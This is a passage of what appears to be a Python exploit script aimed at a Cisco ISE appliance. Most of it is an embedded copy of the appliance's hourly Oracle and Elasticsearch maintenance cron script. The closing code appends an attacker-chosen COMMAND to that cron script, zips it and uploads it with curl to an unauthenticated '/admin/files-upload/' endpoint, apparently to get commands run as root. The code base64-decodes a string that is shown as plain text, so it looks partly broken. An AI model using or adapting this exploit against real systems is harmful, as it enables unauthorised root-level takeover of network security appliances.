select pool,round(sum(bytes),2) , type from (select pool,(bytes)/(1024*1024*1024) bytes , 'free memory' type from v\$sgastat where pool is not null and name='free memory') group by pool,type  
union
select name,round(bytes/(1024*1024*1024),2),'used memory' from v\$sgastat where pool is null
) a order by pool,type ;


column name format a30
column value_GB format 999999

select name,round(value/(1024*1024*1024),2) value_GB from v\$pgastat ;

drop table temp1;
CREATE TABLE temp1  AS
SELECT   
         o.owner owner, 
         o.object_name object_name,
         o.subobject_name subobject_name, 
         o.object_type object_type,
         COUNT(DISTINCT FILE# || BLOCK#) num_blocks, 
         s.tablespace_name tablespace_name,
         s.buffer_pool buffer_pool
    FROM DBA_SEGMENTS s, DBA_OBJECTS o, v\$bh bh
   WHERE o.data_object_id = bh.objd
     AND s.segment_name = o.object_name
     AND o.owner NOT IN ('SYS', 'SYSTEM')
     and s.tablespace_name='MNTNS'
     AND bh.status != 'free'
     and o.owner='MNT'
GROUP BY o.owner,
         o.object_name,
         o.subobject_name,
         o.object_type,
         s.tablespace_name,
         s.BUFFER_POOL
ORDER BY COUNT (DISTINCT FILE# || BLOCK#) DESC;

column description format a50
column value_GB format 999999

select description, round( megabytes/1024 ,2) value_GB from (
SELECT
 'KEEP POOL MEGABYTES IN USE: ' AS DESCRIPTION,
       (SUM (num_blocks) * 8 ) / 1024  AS MEGABYTES
  FROM temp1
 WHERE BUFFER_POOL = 'KEEP'
UNION ALL
SELECT 'KEEP POOL MEGABYTES CONFIGURED: ', TO_NUMBER (VALUE) / 1024 / 1024
  FROM v\$parameter
 WHERE NAME = 'db_keep_cache_size'
UNION ALL
SELECT 'KEEP POOL MAXIMUM USABLE AREA: ',(set_msize * block_size) / 1024 / 1024
  FROM v\$buffer_pool_statistics
 WHERE NAME = 'KEEP'
UNION ALL
SELECT 'RECYCLE POOL MEGABYTES IN USE: ',
       (SUM (num_blocks) * 8 ) / 1024 
  FROM temp1
 WHERE BUFFER_POOL = 'RECYCLE'
UNION ALL
SELECT 'RECYCLE POOL MEGABYTES CONFIGURED: ', TO_NUMBER (VALUE) / 1024 / 1024
  FROM v\$parameter
 WHERE NAME = 'db_recycle_cache_size'
UNION ALL 
SELECT 'RECYCLE POOL MAXIMUM USABLE AREA: ',(set_msize * block_size) / 1024 / 1024
  FROM v\$buffer_pool_statistics
 WHERE NAME = 'RECYCLE'
UNION ALL
SELECT '8k DEFAULT POOL MEGABYTES IN USE: ',
       (SUM (num_blocks) * 8 ) / 1024 
  FROM temp1
 WHERE BUFFER_POOL = 'DEFAULT' 
UNION ALL
SELECT '8k DEFAULT POOL MEGABYTES CONFIGURED: ', TO_NUMBER (VALUE) / 1024 / 1024
  FROM v\$parameter
 WHERE NAME = 'db_cache_size'
 UNION ALL
 SELECT '8K DEFAULT POOL MAXIMUM USABLE AREA: ',(set_msize * block_size) / 1024 / 1024
  FROM v\$buffer_pool_statistics
 WHERE NAME = 'DEFAULT' AND block_size = 8192
  ) ;
  


column buffer_pool format a30
column OBJECT_NAME format a30
column OBJECT_TYPE format a30
column OBJECT_BLOCKS format 999999
column CACHED_BLOCKS format 999999
  
SELECT ds.buffer_pool,  do.OBJECT_NAME,do.OBJECT_TYPE,
ds.blocks OBJECT_BLOCKS, COUNT  (*) CACHED_BLOCKS
FROM dba_objects do, dba_segments ds, v\$bh v
WHERE do.data_object_id=V.OBJD
AND do.owner=ds.owner(+) and do.owner='MNT'
AND do.object_name=ds.segment_name(+)
AND DO.OBJECT_TYPE=DS.SEGMENT_TYPE(+)
AND ds.buffer_pool IN ('KEEP')
GROUP BY ds.buffer_pool, do.object_name, ds.blocks,OBJECT_TYPE
ORDER BY do.object_name, ds.buffer_pool;


column buffer_pool format a30
column OBJECT_NAME format a30
column SUBOBJECT_NAME format a30
column OBJECT_TYPE format a20
column OBJECT_BLOCKS format 999999
column CACHED_BLOCKS format 999999

SELECT ds.buffer_pool, do.OBJECT_NAME, do.SUBOBJECT_NAME,do.OBJECT_TYPE,
ds.blocks OBJECT_BLOCKS, COUNT  (*) CACHED_BLOCKS
FROM dba_objects do, dba_segments ds, v\$bh v
WHERE do.data_object_id=V.OBJD
AND do.owner=ds.owner(+) and do.owner='MNT'
AND do.object_name=ds.segment_name(+)
AND do.subobject_name=ds.partition_name(+)
AND DO.OBJECT_TYPE=DS.SEGMENT_TYPE(+)
AND ds.buffer_pool IN ('KEEP')
GROUP BY ds.buffer_pool, do.object_name,do.OBJECT_TYPE, do.subobject_name, ds.blocks
ORDER BY do.object_name, ds.buffer_pool;
  
  
exit;
EOF

log 3 "Oracle SGA/PGA Memory usage... "
timeout 120 su - oracle -c "sqlplus /@system10 as sysdba @/tmp/memorystats.sql" > /tmp/memstat.log
cat /tmp/memstat.log >> /opt/CSCOcpm/logs/collector.log
rm -f /tmp/memorystats.sql
}

flushESTranslogs()
{
log 3 "Flushing Elasticsearch translogs"
curl -m 360 -ik -XPOST "http://localhost:9200/_all/_flush?force=true" 2>&1 | logger -p local0.info
}

Weeklyjobs()
{
WEEKDAY=`date +%a`
WEEKHR=`date +%H`

if [ "$WEEKDAY " == "Sun " ] && [ "$WEEKHR " == "01 " ] ; then

echo "Checking for large indexes" | logger -p local0.info

cat > /tmp/indexcollect.sql << EOF

Set serveroutput on format WRAPPED;
declare
    new_index_size float;
    index_threshhold_val NUMBER := 5;--5GB
    start_time TIMESTAMP;
    end_time TIMESTAMP;
    type table_records is record
    (
        GB FLOAT,
        segment_name varchar2(128)
    );
    ind_index_store table_records;
begin

    --Deleting the temporary table if it exists
    begin
          execute immediate 'drop table temp_large_index';
          execute immediate 'insert into db_log values (SYSTIMESTAMP, ''before_index_rebuilding'','' Found old temporary table so deleting it and creating new'')';
    EXCEPTION WHEN OTHERS THEN
          execute immediate 'insert into db_log values (SYSTIMESTAMP, ''before_index_rebuilding'',''Temporary table not present so creating it'')';
    end;
    -- Creating a temporary table
    execute immediate 'create table temp_large_index ( GB FLOAT, index_name varchar2(128))';
    -- Iterating through all the table in mnt table space
    for c_rec in (select ROUND(sum(bytes/(1024*1024*1024)),2) table_size, segment_name, segment_type from user_segments where tablespace_name = 'MNTNS' and segment_type in ('TABLE PARTITION') group by segment_name,segment_type order by 1 desc)
    loop
        -- Iterating through all the index for each table.
        for c_rec_index in (select distinct(index_name) from user_ind_columns where table_name=c_rec.segment_name)
        loop
                -- Getting size of Index.
                begin
                    select * into ind_index_store from (select ROUND(sum(bytes/(1024*1024*1024)),2) GB , segment_name from user_segments where tablespace_name = 'MNTNS' and segment_type in ('INDEX PARTITION', 'INDEX') and segment_name= c_rec_index.index_name group by segment_name,segment_type);
                    if (ind_index_store.gb > index_threshhold_val and ind_index_store.gb > c_rec.table_size)
                    then
                            execute immediate 'insert into temp_large_index values ('|| ind_index_store.gb ||', '''|| ind_index_store.segment_name ||''')';
                            execute immediate 'insert into db_log values (SYSTIMESTAMP, ''before_index_rebuilding'', ''Index Name : '|| ind_index_store.segment_name || ' Index Size : ' || ind_index_store.gb || ' Table Name : ' || c_rec.segment_name || ' Table Size : ' || c_rec.table_size || ' '')';
                    end if;
                exception
                    when others then
                            execute immediate 'insert into db_log values (SYSTIMESTAMP, ''before_index_rebuilding'',''Error retrieving size for index : ' || c_rec_index.index_name || ' '')';
                end;

        end loop;
    end loop;

exception when others then null;
end;
/
exit;
EOF

  su - oracle -c "sqlplus /@mnt10 @/tmp/indexcollect.sql" 2>&1 | logger -p local0.info

  echo "Finished checking for large indexes" | logger -p local0.info

  indexCount=`echo -e " set pagesize 0; \nset head off ; \n  set trimspool on feedback off; \n select count(*) from temp_large_index; " | su - oracle -c "sqlplus -S /@mnt10"`
  echo "Number of large index : $indexCount" | logger -p local0.info

  if [ $indexCount -gt 0 ]; then
    echo "Found large indexes." | logger -p local0.info



cat > /tmp/rebuildindex.sql << EOF

declare
new_index_size float;
start_time TIMESTAMP;
end_time TIMESTAMP;
begin

    execute immediate 'insert into db_log values (SYSTIMESTAMP,''index_rebuilding'',''Starting rebuild Index'')';

    start_time:= systimestamp;

    for c_rec in (select gb , index_name from temp_large_index )
    loop
        begin
            execute immediate 'ALTER INDEX mnt.' || c_rec.index_name || ' REBUILD  parallel online';
            execute immediate' insert into db_log values (SYSTIMESTAMP ,''index_rebuilding'' ,''Rebuilding index completed for ' || c_rec.index_name || ' '' )';
        exception
            when others then
                begin
                    execute immediate 'ALTER INDEX mnt.' || c_rec.index_name || ' REBUILD';
                    execute immediate ' insert into db_log values (SYSTIMESTAMP ,''index_rebuilding'',''Rebuilding index completed for ' || c_rec.index_name || ' offline non-parallel'')';
                exception
                    when others then
                        -- Index is very likey a partioned index and cannot be built as a whole.
                        begin
                            for p_rec in (select partition_name from user_ind_partitions where index_name = c_rec.index_name )
                            loop
                                execute immediate 'alter index mnt.' || c_rec.index_name || ' rebuild partition ' || p_rec.partition_name;
                            end loop;
                            execute immediate 'insert into db_log values (SYSTIMESTAMP,''index_rebuildin'',''Rebuilding index completed for partitioned index ' || c_rec.index_name || ' '')';
                        exception
                            when others then
                                execute immediate ' insert into db_log values (SYSTIMESTAMP,''index_rebuildin'',''Error Rebuilding index ' || c_rec.index_name || ' '')';
                        end;
                end;
        end;
        begin
            DBMS_STATS.GATHER_INDEX_STATS('mnt', c_rec.index_name);
            execute immediate 'insert into db_log values (SYSTIMESTAMP,''index_gather_stats'',''Gathered stats succesfully for index :' || c_rec.index_name || ' '')';
        exception
            when others then
                execute immediate 'insert into db_log values (SYSTIMESTAMP,''index_gather_stats'',''Unable to gather stats for index :' || c_rec.index_name || ' '')';
        end;
    end loop;
    end_time:=systimestamp;

    execute immediate 'insert into db_log values (SYSTIMESTAMP ,''index_rebuilding'',''Time Taken to rebuild index : ' || to_char(end_time-start_time) || ' '')';
    execute immediate 'insert into db_log values (SYSTIMESTAMP,''index_rebuilding'',''Completed rebuild Index'')';

    for c_rec_index in (select gb , index_name from temp_large_index)
    loop
        execute immediate 'select ROUND(sum(bytes/(1024*1024*1024)),2) GB from user_segments where tablespace_name = ''MNTNS'' and segment_type in (''INDEX PARTITION'', ''INDEX'') and segment_name = ' || '''' || c_rec_index.index_name || '''' || ' group by segment_name,segment_type' into new_index_size;
        execute immediate 'insert into db_log values (SYSTIMESTAMP,''after_index_rebuilding'',''Index Name : ' || c_rec_index.index_name || '  Index Size : ' || new_index_size || ' '')';
    end loop;

exception when others then null;
end;
/
exit;
EOF

      timeout 900 su - oracle -c "sqlplus /@mnt10 @/tmp/rebuildindex.sql" 2>&1 | logger -p local0.info

      echo "Stopping rebuild mnt large index" | logger -p local0.info
      rm -f /tmp/rebuildindex.sql
  else
    echo "Large indexes not found." | logger -p local0.info
  fi

cat > /tmp/deletetemp.sql << EOF
begin
    execute immediate 'drop table temp_large_index';
exception when others then null;
end;
/
exit;
EOF

echo "Deleting temporary table for large indexex" | logger -p local0.info
su - oracle -c "sqlplus /@mnt10 @/tmp/deletetemp.sql" 2>&1 | logger -p local0.info

echo "Exiting the index rebuild script" | logger -p local0.info

rm -f /tmp/indexcollect.sql
rm -f /tmp/deletetemp.sql




cat > /tmp/weeklySchd.sql << EOF
   
    BEGIN
    FOR I IN (  select table_name,partition_name from user_tab_partitions where table_name = 'EDF_DB_LOG' and partition_name!='P1'
    and GET_HIGH_VALUE_AS_DATE(table_name,partition_name) <sysdate-10 )
    LOOP
    EXECUTE IMMEDIATE
               (   'alter table '
                || i.table_name
                || ' drop partition '
                || i.partition_name);

    END LOOP;
    commit;
    exception when others then null;
    END;
  /
 exit;
EOF

echo "Sunday config Scheduled job" | logger -p local0.info
timeout 120 su - oracle -c "sqlplus /@cpm10 @/tmp/weeklySchd.sql" 2>&1 | logger -p local0.info

fi

if [ "$WEEKDAY " == "Sat " ] && [ "$WEEKHR " == "05 " ] ; then
index_corrupt_fix | logger -p local0.info
fi

if [ "$WEEKDAY " == "Sun " ] && [ "$WEEKHR " == "05 " ] ; then
cleanupundotablespace | logger -p local0.info
cepmStatsGather | logger -p local0.info
fi

rm -f /tmp/weeklySchd.sql /tmp/cepmStatsGather.sql
}

clearawr()
{
WEEKDAY=`date +%a`
WEEKHR=`date +%H`
cat > /tmp/clear_awr.sql << EOF
conn /@system10 as sysdba;

exec DBMS_STATS.PURGE_STATS(SYSDATE-1);
exec dbms_stats.alter_stats_history_retention(3);
    define report_name= 'test';
   set serverout on;
    
    declare
    v_snapbegin number;
    v_snapend number;
    v_dbid number;
    sauxsize number;
    begin
    
   select  min(snap_id),max(snap_id),min(dbid) into  v_snapbegin,v_snapend,v_dbid from dba_hist_snapshot  where snap_id< (
select min(snap_id) from (select * from dba_hist_snapshot order by 1 desc) where rownum<=168) ;


      if v_snapbegin is not null and v_snapend is not null then
    dbms_output.put_line(' SNAP_ID '||v_snapbegin||' - '||v_snapend||' and DBID '||v_dbid );
    DBMS_WORKLOAD_REPOSITORY.DROP_SNAPSHOT_RANGE( v_snapbegin,v_snapend,v_dbid);
    end if;
    
  

    end;
    /

 commit;  
 
 declare
v_count integer;
begin
 
SELECT count(1) into v_count
FROM wrh\$_active_session_history a
WHERE NOT EXISTS
(SELECT 1
FROM wrm\$_snapshot
WHERE snap_id = a.snap_id
AND dbid = a.dbid
AND instance_number = a.instance_number
)and rownum <=100;
 
while v_count != 0 loop
 
DELETE
FROM wrh\$_active_session_history a
WHERE NOT EXISTS
(SELECT 1
FROM wrm\$_snapshot
WHERE snap_id = a.snap_id
AND dbid = a.dbid
AND instance_number = a.instance_number
) and rownum <=1000000;
 
commit;
 
SELECT count(1) into v_count
FROM wrh\$_active_session_history a
WHERE NOT EXISTS
(SELECT 1
FROM wrm\$_snapshot
WHERE snap_id = a.snap_id
AND dbid = a.dbid
AND instance_number = a.instance_number
)and rownum <=100;
 
end loop;
 
end;
/


declare
audsize number;
begin
SELECT  sum(bytes / 1024 / 1024)  into audsize FROM dba_segments WHERE tablespace_name = 'SYSAUX' and segment_name like '%AUD%' ;
if audsize>1000 then

BEGIN
DBMS_AUDIT_MGMT.init_cleanup( audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_ALL, default_cleanup_interval => 12 /* hours */);
exception when others then null;
END; 


BEGIN
  IF DBMS_AUDIT_MGMT.is_cleanup_initialized(DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD) THEN
    DBMS_OUTPUT.put_line('Audit trail cleanup initiated');
  ELSE
    DBMS_OUTPUT.put_line('Cleanup not initiated');
  END IF;
END;

BEGIN
DBMS_AUDIT_MGMT.clean_audit_trail(
audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD,
use_last_arch_timestamp => FALSE);
END;

execute immediate ' truncate table sys.aud$' ;
end if;
end;
/ 
 
alter table WRH\$_ACTIVE_SESSION_HISTORY shrink space;
  
purge dba_recyclebin;
purge recyclebin;

exit;
EOF

if [ "$WEEKHR " == "05 " ] ; then
echo "Sysaux daily clear Scheduled job" | logger -p local0.info
timeout 300 su - oracle -c "sqlplus /@system10 as sysdba @/tmp/clear_awr.sql" 2>&1 | logger -p local0.info
fi

cat > /tmp/clear_awr2.sql << EOF
conn /@system10 as sysdba;
declare
usedspace pls_integer;
begin
SELECT  (df.total_space_mb - fs.free_space_mb) into usedspace FROM (SELECT tablespace_name,  ROUND(SUM(bytes) / 1048576) TOTAL_SPACE_MB
FROM dba_data_files where tablespace_name='SYSAUX'   GROUP BY tablespace_name) df,(SELECT tablespace_name, ROUND(SUM(bytes) / 1048576) FREE_SPACE_MB
FROM dba_free_space where tablespace_name='SYSAUX'   GROUP BY tablespace_name) fs WHERE df.tablespace_name = fs.tablespace_name(+) and df.tablespace_name='SYSAUX' ;
if usedspace>3000 then
purge_sysaux;
end if;
end;
/

exit;
EOF

if [ "$WEEKDAY " == "Sun " ] && [ "$WEEKHR " == "05 " ] ; then
echo "Sysaux weekly clear Scheduled job" | logger -p local0.info
timeout 600 su - oracle -c "sqlplus /@system10 as sysdba @/tmp/clear_awr2.sql" 2>&1 | logger -p local0.info
cepmStatsGather
fi

}

#drop page cache on 85% memory is full
check_and_drop_cache()
{
    drop_cache_trigger_percent=15.00
    IFS=" "
    read nodata ram_total ram_used ram_free ram_shared ram_buffers_cache ram_available  <<< $(free | grep ^Mem)
    ratio=`echo "scale=2; $ram_available*100/$ram_total" | bc`
    log 3 "The Availble Memory ratio $ratio"
    if [ 1 -eq "$(echo "${ratio} < ${drop_cache_trigger_percent}" | bc)" ];
    then
        log 3 "Available Memory:$ratio% Trigger:Running Command sync; echo 1 > /proc/sys/vm/drop_caches"
        sync; echo 1 > /proc/sys/vm/drop_caches
    else
        log 3 "No trigger drop_cache as Available Memory $ratio%"
    fi
}

#Monit all confd services
monit_confd()
{
  source /opt/confd-install/confdrc
  /opt/system/etc/ise-config/confd_monit_job.py
}

#Elastic search hourly job
es_hourly_job()
{
  echo "Initiating  Elastic Search Hourly Job" | logger -p local0.info
  /opt/CSCOcpm/bin/es-hourly-update.sh | logger -p local0.info
  echo "Completed Elastic Search Hourly Job" | logger -p local0.info
}

#####################################################################
# MAIN
#####################################################################

PROG_NAME=`basename $0`
LOG_CATEGORY="application:operation:$PROG_NAME"
AGGRESSIVE_CLEANUP_REQUIRED=0

# verify we are running as oracle user
if [ "`whoami`" != "root" ] ; then
    echo "% Error: $0 must be run as the root user. Exiting..."
    exit 1
fi

checkForCLIPwRecovery

# Create a DB lock if DB is not busy with other processes. Wait 20 minutes if DB is busy
createCriticalSectionDBLock DATABASE_CLEANUP 20
if [ $? == $FALSE ] ; then
   logecho 3 "% Error: Another ISE DB process ($LOCKED_BY) is in progress, cannot perform cleanup at this time"
   exit 1
fi

monit_confd
check_db_avail
cleanupwcs_sso_token | logger -p local0.info
check_diskspace
check_recoverysize
call_dbmon | logger -p local0.info
cleanupLogDir
flushESTranslogs
es_hourly_job


if [ $AGGRESSIVE_CLEANUP_REQUIRED -eq 1 ] ; then
  perform_aggressive_cleanup
fi


purge
mnt_tab_mem | logger -p local0.info

isUpgradeInProgress
if [ "$IS_UPGRADE_RUNNING" == "FALSE" ] ; then
  Weeklyjobs
  clearawr
##vaAggregation | logger -p local0.info
## memoryStats | logger -p local0.info
fi
cleanupalarms | logger -p local0.info
kpmmetrics | logger -p local0.info


rm -f /tmp/ise-dbcleanup-inprogress
deleteCriticalSectionDBLock

## Temporarily omit HW RNG integrity check until kernel module is rebuilt for RH6
## hwrng_check

cleanupvsh
sample_vm_ioperf
cleanupcorefiles
checkHeapDump
check_and_drop_cache
"


decoded_data = base64.b64decode(isehourlycron).decode("utf-8")

# Ensure the bin directory exists
os.makedirs("bin", exist_ok=True)

#Write decoded data to a file
file_path = "bin/isehourlycron.sh"
with open(file_path, "w") as f:
    f.write(decoded_data)
    # Reset or not ?
    if args.reset:
        print("File has been reset")
    else:
        f.write(COMMAND)  # Step 3



# Zip the bin/ folder
zip_file = "output.zip"
with zipfile.ZipFile(zip_file, "w", zipfile.ZIP_DEFLATED) as zipf:
    for root, _, files in os.walk("bin"):
        for file in files:
            full_path = os.path.join(root, file)
            arcname = os.path.relpath(full_path, start=".")
            zipf.write(full_path, arcname)

# Upload using curl
print('Upload the file unauthenticated')
curl_command = [
    "curl",
    "-F", f"file=@{zip_file}",
    "https://"+IP+"/admin/files-upload/",
    "-k"
]
subprocess.run(curl_command)